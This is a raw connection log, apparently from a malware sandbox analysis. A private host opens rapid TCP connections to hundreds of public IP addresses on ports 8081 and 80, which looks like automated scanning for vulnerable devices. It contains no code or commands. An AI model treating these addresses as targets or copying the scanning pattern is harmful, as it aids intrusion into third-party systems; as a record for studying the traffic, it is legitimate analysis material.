Jul 20, 2024 23:05:43.873560905 CEST	43439	8081	192.168.2.13	122.203.81.242
Jul 20, 2024 23:05:43.873560905 CEST	43439	8081	192.168.2.13	46.169.163.18
Jul 20, 2024 23:05:43.873560905 CEST	43439	8081	192.168.2.13	61.18.0.4
Jul 20, 2024 23:05:43.875036955 CEST	43439	8081	192.168.2.13	121.0.221.188
Jul 20, 2024 23:05:43.875036955 CEST	43439	8081	192.168.2.13	217.80.186.14
Jul 20, 2024 23:05:43.878887892 CEST	43439	8081	192.168.2.13	142.211.36.224
Jul 20, 2024 23:05:43.878887892 CEST	43439	8081	192.168.2.13	20.129.231.127
Jul 20, 2024 23:05:43.878889084 CEST	43439	8081	192.168.2.13	181.136.205.166
Jul 20, 2024 23:05:43.878889084 CEST	43439	8081	192.168.2.13	222.36.209.242
Jul 20, 2024 23:05:43.878889084 CEST	43439	8081	192.168.2.13	204.114.132.223
Jul 20, 2024 23:05:43.878889084 CEST	43439	8081	192.168.2.13	202.202.65.175
Jul 20, 2024 23:05:43.878889084 CEST	43439	8081	192.168.2.13	35.42.206.47
Jul 20, 2024 23:05:43.883034945 CEST	8081	60328	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:43.883052111 CEST	43439	8081	192.168.2.13	81.175.215.92
Jul 20, 2024 23:05:43.883052111 CEST	43439	8081	192.168.2.13	197.49.213.115
Jul 20, 2024 23:05:43.883052111 CEST	43439	8081	192.168.2.13	139.171.12.172
Jul 20, 2024 23:05:43.883052111 CEST	43439	8081	192.168.2.13	136.40.155.124
Jul 20, 2024 23:05:43.883052111 CEST	43439	8081	192.168.2.13	132.66.87.176
Jul 20, 2024 23:05:43.885863066 CEST	32820	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.889472008 CEST	8081	58656	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:43.890156984 CEST	59026	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.892203093 CEST	60050	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:43.896164894 CEST	43439	8081	192.168.2.13	213.208.13.112
Jul 20, 2024 23:05:43.896164894 CEST	43439	8081	192.168.2.13	72.49.1.74
Jul 20, 2024 23:05:43.896164894 CEST	43439	8081	192.168.2.13	72.50.182.22
Jul 20, 2024 23:05:43.898653030 CEST	8081	59312	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.899333000 CEST	80	60050	95.44.224.90	192.168.2.13
Jul 20, 2024 23:05:43.907870054 CEST	80	33472	95.85.49.156	192.168.2.13
Jul 20, 2024 23:05:43.909600973 CEST	43439	8081	192.168.2.13	14.87.56.85
Jul 20, 2024 23:05:43.909600973 CEST	43439	8081	192.168.2.13	139.72.232.39
Jul 20, 2024 23:05:43.909600973 CEST	43439	8081	192.168.2.13	183.182.251.88
Jul 20, 2024 23:05:43.911144972 CEST	59312	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.911235094 CEST	80	33918	95.200.69.55	192.168.2.13
Jul 20, 2024 23:05:43.913753033 CEST	80	58400	95.199.121.127	192.168.2.13
Jul 20, 2024 23:05:43.916423082 CEST	58400	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:43.916563988 CEST	33472	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:43.916563988 CEST	33918	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:43.921958923 CEST	80	48844	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.921957970 CEST	39186	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:43.924407005 CEST	48844	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.928257942 CEST	60050	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:43.928401947 CEST	45252	80	192.168.2.13	95.135.109.123
Jul 20, 2024 23:05:43.928978920 CEST	80	42704	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:43.933312893 CEST	80	45252	95.135.109.123	192.168.2.13
Jul 20, 2024 23:05:43.934398890 CEST	45252	80	192.168.2.13	95.135.109.123
Jul 20, 2024 23:05:43.934879065 CEST	80	37304	95.27.212.157	192.168.2.13
Jul 20, 2024 23:05:43.935244083 CEST	8081	55396	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.936286926 CEST	8081	45946	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.936444998 CEST	80	50576	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.939151049 CEST	80	32820	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.939166069 CEST	8081	59026	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:43.939836025 CEST	80	60050	95.44.224.90	192.168.2.13
Jul 20, 2024 23:05:43.940370083 CEST	32820	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.940376043 CEST	80	39186	95.140.215.247	192.168.2.13
Jul 20, 2024 23:05:43.940881968 CEST	80	45252	95.135.109.123	192.168.2.13
Jul 20, 2024 23:05:43.942440033 CEST	60050	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:43.944145918 CEST	59026	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.944444895 CEST	45252	80	192.168.2.13	95.135.109.123
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	207.3.87.9
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	42.1.0.235
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	50.166.98.17
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	20.247.202.47
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	218.91.166.79
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	202.31.198.75
Jul 20, 2024 23:05:43.948585033 CEST	43439	8081	192.168.2.13	193.144.59.47
Jul 20, 2024 23:05:43.950274944 CEST	43439	8081	192.168.2.13	72.13.132.92
Jul 20, 2024 23:05:43.950274944 CEST	43439	8081	192.168.2.13	220.247.59.214
Jul 20, 2024 23:05:43.950274944 CEST	43439	8081	192.168.2.13	159.111.73.131
Jul 20, 2024 23:05:43.950275898 CEST	43439	8081	192.168.2.13	59.221.94.52
Jul 20, 2024 23:05:43.950275898 CEST	43439	8081	192.168.2.13	14.193.168.165
Jul 20, 2024 23:05:43.950275898 CEST	43439	8081	192.168.2.13	167.92.193.194
Jul 20, 2024 23:05:43.950275898 CEST	43439	8081	192.168.2.13	39.109.153.4
Jul 20, 2024 23:05:43.951788902 CEST	43439	8081	192.168.2.13	208.15.56.236
Jul 20, 2024 23:05:43.951788902 CEST	43439	8081	192.168.2.13	150.160.92.118
Jul 20, 2024 23:05:43.951788902 CEST	43439	8081	192.168.2.13	70.49.207.85
Jul 20, 2024 23:05:43.951788902 CEST	43439	8081	192.168.2.13	54.226.21.170
Jul 20, 2024 23:05:43.951788902 CEST	43439	8081	192.168.2.13	178.162.176.1
Jul 20, 2024 23:05:43.959752083 CEST	43439	8081	192.168.2.13	161.212.139.125
Jul 20, 2024 23:05:43.959752083 CEST	43439	8081	192.168.2.13	123.103.172.63
Jul 20, 2024 23:05:43.959752083 CEST	43439	8081	192.168.2.13	130.140.172.39
Jul 20, 2024 23:05:43.961572886 CEST	80	41720	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:43.965091944 CEST	43439	8081	192.168.2.13	25.198.87.96
Jul 20, 2024 23:05:43.965091944 CEST	43439	8081	192.168.2.13	102.228.252.108
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	181.218.129.48
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	153.147.13.190
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	218.148.250.24
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	72.88.233.47
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	144.203.157.84
Jul 20, 2024 23:05:43.965092897 CEST	43439	8081	192.168.2.13	119.78.0.144
Jul 20, 2024 23:05:43.965635061 CEST	43439	8081	192.168.2.13	151.25.221.27
Jul 20, 2024 23:05:43.967087984 CEST	47848	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.967087984 CEST	47848	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.967087984 CEST	43439	8081	192.168.2.13	94.194.111.123
Jul 20, 2024 23:05:43.972157955 CEST	43439	8081	192.168.2.13	51.49.86.113
Jul 20, 2024 23:05:43.972157955 CEST	43439	8081	192.168.2.13	212.155.243.104
Jul 20, 2024 23:05:43.972157955 CEST	43439	8081	192.168.2.13	168.142.173.18
Jul 20, 2024 23:05:43.972390890 CEST	39186	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:43.975507975 CEST	45946	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	72.232.144.106
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	158.112.54.24
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	95.81.29.32
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	217.82.136.55
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	211.74.60.83
Jul 20, 2024 23:05:43.977117062 CEST	43439	8081	192.168.2.13	41.52.13.221
Jul 20, 2024 23:05:43.977118015 CEST	43439	8081	192.168.2.13	13.168.90.100
Jul 20, 2024 23:05:43.978091955 CEST	59206	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:43.979218960 CEST	48202	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.981288910 CEST	46492	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.982136965 CEST	55396	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.982136965 CEST	37304	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:43.982192993 CEST	55870	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:43.982402086 CEST	42704	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:43.983061075 CEST	45394	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.983061075 CEST	45394	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.984277964 CEST	50576	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.984282017 CEST	33256	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:43.984282017 CEST	33256	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:43.984764099 CEST	80	47848	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:43.984766960 CEST	80	47848	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:43.984949112 CEST	80	48202	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:43.985095978 CEST	80	50082	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:43.985316992 CEST	80	59206	95.80.184.76	192.168.2.13
Jul 20, 2024 23:05:43.985326052 CEST	48202	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.986148119 CEST	60284	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.986148119 CEST	60284	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.986852884 CEST	8081	46492	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:43.987801075 CEST	80	55870	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:43.987838030 CEST	55870	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:43.987991095 CEST	44598	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.987992048 CEST	44598	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.988107920 CEST	8081	45394	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.988367081 CEST	50082	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:43.989094019 CEST	8081	45394	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.989382982 CEST	80	33256	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:43.989417076 CEST	46492	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.989686012 CEST	44950	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.989727020 CEST	80	33256	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:43.990087986 CEST	43300	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.990652084 CEST	45602	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.991261959 CEST	8081	60284	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:43.991969109 CEST	8081	60284	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:43.992369890 CEST	34324	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.992369890 CEST	34324	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.993143082 CEST	80	21679	95.158.251.201	192.168.2.13
Jul 20, 2024 23:05:43.993280888 CEST	80	21679	95.79.4.21	192.168.2.13
Jul 20, 2024 23:05:43.993284941 CEST	80	21679	95.170.57.170	192.168.2.13
Jul 20, 2024 23:05:43.993294001 CEST	80	21679	95.242.80.90	192.168.2.13
Jul 20, 2024 23:05:43.993311882 CEST	80	21679	95.58.148.161	192.168.2.13
Jul 20, 2024 23:05:43.993321896 CEST	80	21679	95.201.154.37	192.168.2.13
Jul 20, 2024 23:05:43.993340015 CEST	21679	80	192.168.2.13	95.58.148.161
Jul 20, 2024 23:05:43.993370056 CEST	80	21679	95.40.175.138	192.168.2.13
Jul 20, 2024 23:05:43.993525028 CEST	21679	80	192.168.2.13	95.201.154.37
Jul 20, 2024 23:05:43.993532896 CEST	80	21679	95.122.142.154	192.168.2.13
Jul 20, 2024 23:05:43.993537903 CEST	80	21679	95.81.61.90	192.168.2.13
Jul 20, 2024 23:05:43.993542910 CEST	80	21679	95.213.38.241	192.168.2.13
Jul 20, 2024 23:05:43.993547916 CEST	80	21679	95.116.180.106	192.168.2.13
Jul 20, 2024 23:05:43.993552923 CEST	80	21679	95.51.226.134	192.168.2.13
Jul 20, 2024 23:05:43.993632078 CEST	80	21679	95.162.249.16	192.168.2.13
Jul 20, 2024 23:05:43.993637085 CEST	80	21679	95.150.139.158	192.168.2.13
Jul 20, 2024 23:05:43.993645906 CEST	80	21679	95.37.75.222	192.168.2.13
Jul 20, 2024 23:05:43.993655920 CEST	80	21679	95.155.225.105	192.168.2.13
Jul 20, 2024 23:05:43.993659973 CEST	80	21679	95.38.12.63	192.168.2.13
Jul 20, 2024 23:05:43.993670940 CEST	21679	80	192.168.2.13	95.162.249.16
Jul 20, 2024 23:05:43.993670940 CEST	21679	80	192.168.2.13	95.150.139.158
Jul 20, 2024 23:05:43.993697882 CEST	21679	80	192.168.2.13	95.155.225.105
Jul 20, 2024 23:05:43.993697882 CEST	21679	80	192.168.2.13	95.37.75.222
Jul 20, 2024 23:05:43.993697882 CEST	21679	80	192.168.2.13	95.38.12.63
Jul 20, 2024 23:05:43.994215012 CEST	80	44598	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:43.994220018 CEST	80	44598	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:43.995136976 CEST	80	44950	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:43.995181084 CEST	44950	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.995362043 CEST	8081	43300	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:43.995409012 CEST	43300	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.995924950 CEST	59526	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:43.995924950 CEST	59526	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:43.995924950 CEST	21679	80	192.168.2.13	95.158.251.201
Jul 20, 2024 23:05:43.995924950 CEST	21679	80	192.168.2.13	95.170.57.170
Jul 20, 2024 23:05:43.995924950 CEST	21679	80	192.168.2.13	95.242.80.90
Jul 20, 2024 23:05:43.997284889 CEST	8081	34324	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:43.999300003 CEST	8081	45602	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.999491930 CEST	41720	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:43.999491930 CEST	60668	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:44.001039982 CEST	80	59526	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:44.001307964 CEST	80	59526	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:44.003465891 CEST	80	48202	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:44.003467083 CEST	45602	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:44.003467083 CEST	34534	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:44.004374981 CEST	46284	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:44.004374981 CEST	46284	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:44.004401922 CEST	48202	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:44.005222082 CEST	80	55870	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:44.005460978 CEST	37466	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:44.005460978 CEST	37466	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:44.005913973 CEST	54488	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:44.006187916 CEST	8081	46492	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:44.006200075 CEST	60494	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:44.006362915 CEST	46618	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:44.006362915 CEST	46618	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:44.006445885 CEST	59206	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:44.007195950 CEST	80	44950	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:44.007308960 CEST	46974	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:44.008380890 CEST	46492	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:44.008730888 CEST	8081	34534	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:44.008968115 CEST	34534	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:44.009047031 CEST	55516	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:44.009047031 CEST	55516	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:44.009047031 CEST	33610	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:44.009322882 CEST	37678	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:44.009330988 CEST	8081	43300	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:44.010597944 CEST	21679	80	192.168.2.13	95.79.4.21
Jul 20, 2024 23:05:44.010839939 CEST	59880	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:44.010857105 CEST	8081	60668	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:44.010863066 CEST	8081	37466	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:44.010879993 CEST	8081	37466	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:44.011151075 CEST	8081	46284	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:44.011154890 CEST	8081	46284	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:44.011465073 CEST	80	54488	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:44.011497021 CEST	54488	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:44.011635065 CEST	80	46618	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:44.011837959 CEST	80	46618	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:44.012362003 CEST	44950	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:44.012366056 CEST	55870	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:44.012574911 CEST	43300	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:44.012877941 CEST	37472	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:44.012877941 CEST	37472	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:44.012877941 CEST	60668	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:44.012877941 CEST	34258	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:44.012877941 CEST	37684	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:44.013104916 CEST	43090	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:44.013104916 CEST	43090	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:44.013295889 CEST	8081	45602	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:44.013508081 CEST	21679	80	192.168.2.13	95.40.175.138
Jul 20, 2024 23:05:44.013508081 CEST	21679	80	192.168.2.13	95.122.142.154
Jul 20, 2024 23:05:44.013508081 CEST	21679	80	192.168.2.13	95.81.61.90
Jul 20, 2024 23:05:44.013508081 CEST	21679	80	192.168.2.13	95.51.226.134
Jul 20, 2024 23:05:44.013593912 CEST	80	46974	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:44.013662100 CEST	48154	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:44.013662100 CEST	48154	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:44.013670921 CEST	46974	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:44.014343977 CEST	80	55516	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:44.014614105 CEST	80	55516	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:44.014620066 CEST	8081	37678	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:44.014676094 CEST	37678	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:44.015279055 CEST	21679	80	192.168.2.13	95.213.38.241
Jul 20, 2024 23:05:44.015279055 CEST	21679	80	192.168.2.13	95.116.180.106
Jul 20, 2024 23:05:44.015279055 CEST	54132	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:44.015279055 CEST	54132	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:44.015333891 CEST	59034	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:44.015333891 CEST	59034	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:44.015660048 CEST	8081	34534	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:44.015762091 CEST	8081	60494	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:44.015814066 CEST	60494	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:44.016216993 CEST	48516	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:44.016386986 CEST	34534	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:44.016859055 CEST	33900	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:44.016859055 CEST	33900	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:44.017019987 CEST	80	59880	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:44.017071962 CEST	59880	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:44.017527103 CEST	59244	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:44.017782927 CEST	37628	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:44.017782927 CEST	37628	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:44.018119097 CEST	57834	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:44.018119097 CEST	57834	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:44.019171000 CEST	37838	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:44.019396067 CEST	58198	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:44.019412994 CEST	80	33610	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:44.019462109 CEST	33610	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:44.019519091 CEST	8081	43090	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:44.019522905 CEST	8081	43090	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:44.019676924 CEST	8081	37472	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:44.019680977 CEST	8081	37472	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:44.019690990 CEST	80	59206	95.80.184.76	192.168.2.13
Jul 20, 2024 23:05:44.019768000 CEST	80	34258	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:44.019773960 CEST	8081	37684	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:44.019818068 CEST	37684	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:44.019818068 CEST	34258	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:44.019900084 CEST	80	48154	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:44.019989014 CEST	80	48154	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:44.020312071 CEST	8081	59034	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:44.020386934 CEST	45602	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:44.020389080 CEST	59206	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:44.020627975 CEST	8081	59034	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:44.021517992 CEST	80	48516	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:44.021585941 CEST	48516	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:44.021795988 CEST	80	54132	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:44.021938086 CEST	80	54132	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:44.022061110 CEST	80	33900	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:44.022305012 CEST	80	54488	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:44.022352934 CEST	80	33900	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:44.022438049 CEST	45248	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:44.022438049 CEST	45248	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:44.022540092 CEST	8081	59244	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:44.022588968 CEST	59244	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:44.022880077 CEST	8081	37628	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:44.023108959 CEST	8081	37628	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:44.023408890 CEST	80	57834	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:44.023783922 CEST	80	57834	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:44.027149916 CEST	57078	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:44.027149916 CEST	57078	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:44.027566910 CEST	45458	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:44.028191090 CEST	80	35932	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:44.028202057 CEST	80	35968	95.194.121.234	192.168.2.13
Jul 20, 2024 23:05:44.028211117 CEST	80	52976	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:44.028291941 CEST	8081	60668	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:44.028296947 CEST	80	46974	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:44.028367043 CEST	54488	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:44.028376102 CEST	52976	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.028383970 CEST	35968	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:44.028388023 CEST	60668	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:44.028402090 CEST	8081	37838	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:44.028408051 CEST	80	58198	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:44.028431892 CEST	46974	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:44.028506994 CEST	58198	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:44.028613091 CEST	37838	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:44.028748035 CEST	35932	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:44.029160023 CEST	8081	45248	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:44.029198885 CEST	8081	43439	191.39.217.83	192.168.2.13
Jul 20, 2024 23:05:44.029252052 CEST	43439	8081	192.168.2.13	191.39.217.83
Jul 20, 2024 23:05:44.029263973 CEST	8081	43439	159.111.23.139	192.168.2.13
Jul 20, 2024 23:05:44.029269934 CEST	8081	43439	61.251.47.138	192.168.2.13
Jul 20, 2024 23:05:44.029274940 CEST	8081	43439	107.208.94.59	192.168.2.13
Jul 20, 2024 23:05:44.029285908 CEST	8081	43439	145.141.158.92	192.168.2.13
Jul 20, 2024 23:05:44.029320002 CEST	8081	45248	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:44.029644966 CEST	8081	37678	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:44.029829979 CEST	43439	8081	192.168.2.13	159.111.23.139
Jul 20, 2024 23:05:44.029829979 CEST	43439	8081	192.168.2.13	107.208.94.59
Jul 20, 2024 23:05:44.029829979 CEST	43439	8081	192.168.2.13	61.251.47.138
Jul 20, 2024 23:05:44.029829979 CEST	43439	8081	192.168.2.13	145.141.158.92
Jul 20, 2024 23:05:44.030148029 CEST	57444	80	192.168.2.13	95.127.71.38
